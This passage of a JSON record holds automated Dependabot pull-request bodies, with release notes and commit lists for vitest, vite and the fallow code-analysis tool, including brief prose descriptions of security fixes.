Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10456\"\u003evitest-dev/vitest#10456\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd\"\u003e\u003c!-- raw HTML omitted --\u003e(385a1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.4...v3.2.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c0c203db7ae2948536ad54f93e3a2b168334e245\"\u003e\u003ccode\u003ec0c203d\u003c/code\u003e\u003c/a\u003e chore: release v3.2.7 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10719\"\u003e#10719\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/b6d56f8171ae814ee7571df63a35a0da5203dbaa\"\u003e\u003ccode\u003eb6d56f8\u003c/code\u003e\u003c/a\u003e chore: release v3.2.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d0585677f6a32bcb3dd01fa61c140e2588\"\u003e\u003ccode\u003e16f120d\u003c/code\u003e\u003c/a\u003e fix: pin last supported vite-node version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2cbad0a923c48c6144266df3cd25f93547cb5221\"\u003e\u003ccode\u003e2cbad0a\u003c/code\u003e\u003c/a\u003e chore: release v3.2.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd4c2bfa5e7d58bf7c6834c929969f2c7\"\u003e\u003ccode\u003e385a1ae\u003c/code\u003e\u003c/a\u003e fix(browser): disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [ba...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v3.2.7/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​vitest/coverage-v8\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 6.4.3 to 6.4.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.4\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.4/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.4/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.4 (2026-10-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(deps): update launch-editor to v2.14.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23654\"\u003e#23654\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8afec69d6360857ebe35516781ef96e93df3f54e\"\u003e8afec69\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23654\"\u003e#23654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(html): filename passed to transformIndexHtml should not include queries (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23653\"\u003e#23653\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/19902cfcfa3e02114bf8d6692fe638ace36b5ac9\"\u003e19902cf\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23653\"\u003e#23653\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(server): check resolved ids for transform access (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20410\"\u003e#20410\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/eec64641970af6f69c026c70bf547601218c9c12\"\u003eeec6464\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20410\"\u003e#20410\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(server): store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23656\"\u003e#23656\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0\"\u003ee570d8d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23656\"\u003e#23656\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/5f0d9a4aaa31124695e7cf6ffe349e9d0a4b705e\"\u003e\u003ccode\u003e5f0d9a4\u003c/code\u003e\u003c/a\u003e release: v6.4.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/eec64641970af6f69c026c70bf547601218c9c12\"\u003e\u003ccode\u003eeec6464\u003c/code\u003e\u003c/a\u003e fix(server): check resolved ids for transform access (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20410\"\u003e#20410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0\"\u003e\u003ccode\u003ee570d8d\u003c/code\u003e\u003c/a\u003e fix(server): store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23656\"\u003e#23656\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/8afec69d6360857ebe35516781ef96e93df3f54e\"\u003e\u003ccode\u003e8afec69\u003c/code\u003e\u003c/a\u003e fix(deps): update launch-editor to v2.14.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23654\"\u003e#23654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/19902cfcfa3e02114bf8d6692fe638ace36b5ac9\"\u003e\u003ccode\u003e19902cf\u003c/code\u003e\u003c/a\u003e fix(html): filename passed to transformIndexHtml should not include queries (...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitejs/vite/commits/v6.4.4/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 3.2.4 to 3.2.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.2.7\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10679\"\u003evitest-dev/vitest#10679\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b795e36b3\"\u003e\u003c!-- raw HTML omitted --\u003e(b795e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.6...v3.2.7\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.6\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePin last supported vite-node version  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d05\"\u003e\u003c!-- raw HTML omitted --\u003e(16f12)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.5...v3.2.6\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.5\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e: Add \u003ccode\u003eallowWrite\u003c/code\u003e and \u003ccode\u003eallowExec\u003c/code\u003e options to \u003ccode\u003eapi\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10445\"\u003evitest-dev/vitest#10445\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/af88b1f5d\"\u003e\u003c!-- raw HTML omitted --\u003e(af88b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10456\"\u003evitest-dev/vitest#10456\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd\"\u003e\u003c!-- raw HTML omitted --\u003e(385a1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.4...v3.2.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c0c203db7ae2948536ad54f93e3a2b168334e245\"\u003e\u003ccode\u003ec0c203d\u003c/code\u003e\u003c/a\u003e chore: release v3.2.7 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10719\"\u003e#10719\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/b6d56f8171ae814ee7571df63a35a0da5203dbaa\"\u003e\u003ccode\u003eb6d56f8\u003c/code\u003e\u003c/a\u003e chore: release v3.2.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d0585677f6a32bcb3dd01fa61c140e2588\"\u003e\u003ccode\u003e16f120d\u003c/code\u003e\u003c/a\u003e fix: pin last supported vite-node version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2cbad0a923c48c6144266df3cd25f93547cb5221\"\u003e\u003ccode\u003e2cbad0a\u003c/code\u003e\u003c/a\u003e chore: release v3.2.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd4c2bfa5e7d58bf7c6834c929969f2c7\"\u003e\u003ccode\u003e385a1ae\u003c/code\u003e\u003c/a\u003e fix(browser): disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [ba...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/af88b1f5d82844a4761ea9a977156c98e2b14ca8\"\u003e\u003ccode\u003eaf88b1f\u003c/code\u003e\u003c/a\u003e feat(api): add \u003ccode\u003eallowWrite\u003c/code\u003e and \u003ccode\u003eallowExec\u003c/code\u003e options to \u003ccode\u003eapi\u003c/code\u003e [backport to v3]...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v3.2.7/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for vitest since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Okohedeki/scroll-studio/pull/111","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Okohedeki%2Fscroll-studio/issues/111","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/111/packages"},{"uuid":"6008114644","node_id":"PR_kwDOQM4Qqc8AAAABKYQPSg","number":41,"state":"closed","title":"chore(deps-dev): bump the dev-dependencies group with 5 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-24T01:43:08.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-24T01:40:57.000Z","updated_at":"2026-10-24T01:43:08.000Z","time_to_close":131,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"dev-dependencies","update_count":5,"packages":[{"name":"fallow","old_version":"3.27.0","new_version":"3.34.1","repository_url":"https://github.com/fallow-rs/fallow"},{"name":"tsx","old_version":"4.23.1","new_version":"4.23.15","repository_url":"https://github.com/privatenumber/tsx"},{"name":"typescript","old_version":"6.0.3","new_version":"7.0.2","repository_url":"https://github.com/microsoft/TypeScript"},{"name":"vitest","old_version":"4.1.12","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"wrangler","old_version":"4.151.0","new_version":"4.151.3","repository_url":"https://github.com/cloudflare/workers-sdk"}],"path":null,"ecosystem":"npm"},"body":"Bumps the dev-dependencies group with 5 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [fallow](https://github.com/fallow-rs/fallow) | `3.27.0` | `3.34.1` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.23.1` | `4.23.15` |\n| [typescript](https://github.com/microsoft/TypeScript) | `6.0.3` | `7.0.2` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.12` | `5.0.5` |\n| [wrangler](https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler) | `4.151.0` | `4.151.3` |\n\nUpdates `fallow` from 3.27.0 to 3.34.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fallow-rs/fallow/releases\"\u003efallow's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.34.1: Oxlint config names, coverage maps, Vue templates and workspace globs\u003c/h2\u003e\n\u003ch2\u003eBug fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eThe Oxlint plugin reads \u003ccode\u003e.oxlintrc.jsonc\u003c/code\u003e and \u003ccode\u003eoxlint.config.mts\u003c/code\u003e.\u003c/strong\u003e Oxlint finds these config files on its own, but fallow did not read them. Packages in their \u003ccode\u003ejsPlugins\u003c/code\u003e lists, at the top level and in \u003ccode\u003eoverrides\u003c/code\u003e, showed as unused dependencies, and \u003ccode\u003eoxlint.config.mts\u003c/code\u003e showed as an unused file. Fallow now reads every config file name that Oxlint finds. Comments and trailing commas in \u003ccode\u003e.oxlintrc.jsonc\u003c/code\u003e parse correctly. Thanks \u003ca href=\"https://github.com/gwynnnplaine\"\u003e\u003ccode\u003e@​gwynnnplaine\u003c/code\u003e\u003c/a\u003e for the report and the analysis. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3525\"\u003e#3525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eA coverage map with a negative hit count loads.\u003c/strong\u003e Vitest \u003ccode\u003ecoverage-v8\u003c/code\u003e can write a negative branch count, for example \u003ccode\u003e[5, -1]\u003c/code\u003e, for the implicit else of an \u003ccode\u003eif\u003c/code\u003e. Fallow rejected the whole map. When \u003ccode\u003e--coverage\u003c/code\u003e or \u003ccode\u003eFALLOW_COVERAGE\u003c/code\u003e named the map, \u003ccode\u003efallow health\u003c/code\u003e and \u003ccode\u003efallow audit\u003c/code\u003e stopped with exit 2. Fallow now reads a negative count in \u003ccode\u003es\u003c/code\u003e, \u003ccode\u003ef\u003c/code\u003e, \u003ccode\u003eb\u003c/code\u003e or \u003ccode\u003eb_T\u003c/code\u003e as 0, which is a miss. An auto-detected map that fails to load now gives a note that says fallow ignored it. Before, the note said that fallow used it. Thanks \u003ca href=\"https://github.com/norvalbv\"\u003e\u003ccode\u003e@​norvalbv\u003c/code\u003e\u003c/a\u003e for the report and the reproduction. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3564\"\u003e#3564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eA \u003ccode\u003e\u0026lt;\u003c/code\u003e inside a nested Vue \u003ccode\u003e\u0026lt;template\u0026gt;\u003c/code\u003e keeps the references of the template.\u003c/strong\u003e In \u003ccode\u003e\\\u0026lt;template v-if=\u0026quot;W\u0026quot;\u0026gt;{{ 1 \u0026lt; 2 }}\u0026lt;/template\u0026gt;\u003c/code\u003e, fallow read the \u003ccode\u003e\u0026lt;\u003c/code\u003e as the start of a tag and lost each name that the template used. Fallow then reported a named import that only the template used as an unused export. Fallow now skips \u003ccode\u003e{{ }}\u003c/code\u003e interpolations when it looks for the closing \u003ccode\u003e\u0026lt;/template\u0026gt;\u003c/code\u003e. When no letter, \u003ccode\u003e/\u003c/code\u003e, \u003ccode\u003e!\u003c/code\u003e or \u003ccode\u003e?\u003c/code\u003e follows a \u003ccode\u003e\u0026lt;\u003c/code\u003e, fallow reads it as text, as in HTML. The cache versions change, so a warm cache does not keep the old result. Thanks \u003ca href=\"https://github.com/BrocksiNet\"\u003e\u003ccode\u003e@​BrocksiNet\u003c/code\u003e\u003c/a\u003e for the report and the minimal reproduction. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3543\"\u003e#3543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efallow health --type-aware --type-coupling\u003c/code\u003e passes \u003ccode\u003e--type-aware-require complete\u003c/code\u003e on large projects.\u003c/strong\u003e The command failed \u003ccode\u003e--type-aware-require complete\u003c/code\u003e on projects with more than 40 coupling edges. The coupling report is one report for the whole project, and it now holds up to 10,000 evidence items. Fallow now reports a complete analysis as \u003ccode\u003ecomplete\u003c/code\u003e. Symbol, impact, and API-surface results keep the limit of 40 items. Above 10,000 items, the report stays \u003ccode\u003epartial\u003c/code\u003e with the \u003ccode\u003eevidence-limit\u003c/code\u003e reason. Thanks \u003ca href=\"https://github.com/samaluk\"\u003e\u003ccode\u003e@​samaluk\u003c/code\u003e\u003c/a\u003e for the report and the experiment. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3563\"\u003e#3563\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eWorkspace globs no longer read directories outside the project root.\u003c/strong\u003e An absolute entry, or an entry such as \u003ccode\u003e../*\u003c/code\u003e, in \u003ccode\u003epackage.json\u003c/code\u003e \u003ccode\u003eworkspaces\u003c/code\u003e, \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e \u003ccode\u003epackages\u003c/code\u003e, \u003ccode\u003edeno.json\u003c/code\u003e \u003ccode\u003eworkspace\u003c/code\u003e, or the \u003ccode\u003eworkspaces.patterns\u003c/code\u003e config listed directories outside the root. Fallow added no package from them. But a directory without a \u003ccode\u003epackage.json\u003c/code\u003e got a \u003ccode\u003eglob-matched-no-package-json\u003c/code\u003e diagnostic with its outside path. Fallow now skips such an entry before it reads the disk. A new \u003ccode\u003eworkspace-glob-outside-root\u003c/code\u003e diagnostic names the entry and the file that declares it. The run does not exit with an error, because npm, pnpm, and yarn accept a \u003ccode\u003e../\u003c/code\u003e workspace entry. A \u003ccode\u003e..\u003c/code\u003e that stays inside the root, as in \u003ccode\u003epackages/../libs/*\u003c/code\u003e, still works. The findings do not change. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3574\"\u003e#3574\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fallow-rs/fallow/compare/v3.34.0...v3.34.1\"\u003ehttps://github.com/fallow-rs/fallow/compare/v3.34.0...v3.34.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.34.0: fallow mutation, segment-safe config globs, audit sub-analysis selection\u003c/h2\u003e\n\u003ch2\u003eChanged\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eA single \u003ccode\u003e*\u003c/code\u003e in a config path glob now stays within one path segment.\u003c/strong\u003e Only \u003ccode\u003e**\u003c/code\u003e crosses directories. Before, \u003ccode\u003esrc/plugins/*/index.js\u003c/code\u003e in \u003ccode\u003eentry\u003c/code\u003e also matched \u003ccode\u003esrc/plugins/alpha/components/button/index.js\u003c/code\u003e. Each nested match became an entry point, so fallow did not report it as an unused file. The rule first applied to \u003ccode\u003eentry\u003c/code\u003e and \u003ccode\u003edynamicallyLoaded\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3513\"\u003e#3513\u003c/a\u003e, closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3490\"\u003e#3490\u003c/a\u003e). It now applies to every config path glob (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3541\"\u003e#3541\u003c/a\u003e):\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eignorePatterns\u003c/code\u003e, \u003ccode\u003eignoreFindings\u003c/code\u003e, \u003ccode\u003eoverrides[].files\u003c/code\u003e, \u003ccode\u003eignoreExports[].file\u003c/code\u003e and \u003ccode\u003eignoreCatalogReferences[].consumer\u003c/code\u003e,\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eduplicates.ignore\u003c/code\u003e, \u003ccode\u003esimilarCode.ignore\u003c/code\u003e, \u003ccode\u003ehealth.ignore\u003c/code\u003e and \u003ccode\u003ehealth.thresholdOverrides[].files\u003c/code\u003e,\u003c/li\u003e\n\u003cli\u003ethe \u003ccode\u003eboundaries\u003c/code\u003e zone and coverage globs, and the rule-pack file globs,\u003c/li\u003e\n\u003cli\u003ethe \u003ccode\u003eframework[]\u003c/code\u003e fields \u003ccode\u003eusedExports[].pattern\u003c/code\u003e, \u003ccode\u003emanifestEntries[].manifests\u003c/code\u003e and \u003ccode\u003edetection.pattern\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo keep the old match, change the single \u003ccode\u003e*\u003c/code\u003e to \u003ccode\u003e**\u003c/code\u003e. For example, change \u003ccode\u003esrc/generated/*\u003c/code\u003e to \u003ccode\u003esrc/generated/**\u003c/code\u003e, and \u003ccode\u003e*.test.ts\u003c/code\u003e to \u003ccode\u003e**/*.test.ts\u003c/code\u003e. For each pattern that now matches fewer files, fallow prints a warning on stderr. The warning names the config field, the pattern, the count of files that only the old rule matched, and the rewrite. \u003ccode\u003e--quiet\u003c/code\u003e hides the warning, and the JSON output does not change. A narrower glob can show new findings. Fallow matches a glob against each file path, not against each directory. Thus a line that you copy from \u003ccode\u003e.gitignore\u003c/code\u003e can match fewer files in \u003ccode\u003eignorePatterns\u003c/code\u003e. Globs that match package names or import specifiers, such as \u003ccode\u003eignoreDependencies\u003c/code\u003e and \u003ccode\u003eignoreUnresolvedImports\u003c/code\u003e, do not change. Thanks \u003ca href=\"https://github.com/jleifeld\"\u003e\u003ccode\u003e@​jleifeld\u003c/code\u003e\u003c/a\u003e for the report.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eAn existing \u003ccode\u003eprop-drilling: \u0026quot;error\u0026quot;\u003c/code\u003e setting now enforces CI.\u003c/strong\u003e To report chains without an error, change the rule to \u003ccode\u003ewarn\u003c/code\u003e. Archived JSON reports with \u003ccode\u003eeffective_severity: \u0026quot;error\u0026quot;\u003c/code\u003e also render as errors. A config change does not rewrite those reports.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eStorybook, Vitest, Rstest, Jasmine and Playwright globs now accept every extglob group.\u003c/strong\u003e One shared rewrite reads \u003ccode\u003e@(..)\u003c/code\u003e, \u003ccode\u003e?(..)\u003c/code\u003e, \u003ccode\u003e+(..)\u003c/code\u003e, \u003ccode\u003e*(..)\u003c/code\u003e and \u003ccode\u003e!(..)\u003c/code\u003e for these plugins and for \u003ccode\u003eimport.meta.glob\u003c/code\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eStorybook: before, only \u003ccode\u003e@(..)\u003c/code\u003e matched. Now \u003ccode\u003e../src/**/!(*.dev).stories.@(js|ts)\u003c/code\u003e matches, and \u003ccode\u003e!(*.dev)\u003c/code\u003e excludes the files that match \u003ccode\u003e*.dev\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003ePlaywright: before, a \u003ccode\u003etestMatch\u003c/code\u003e glob with a group made every script below 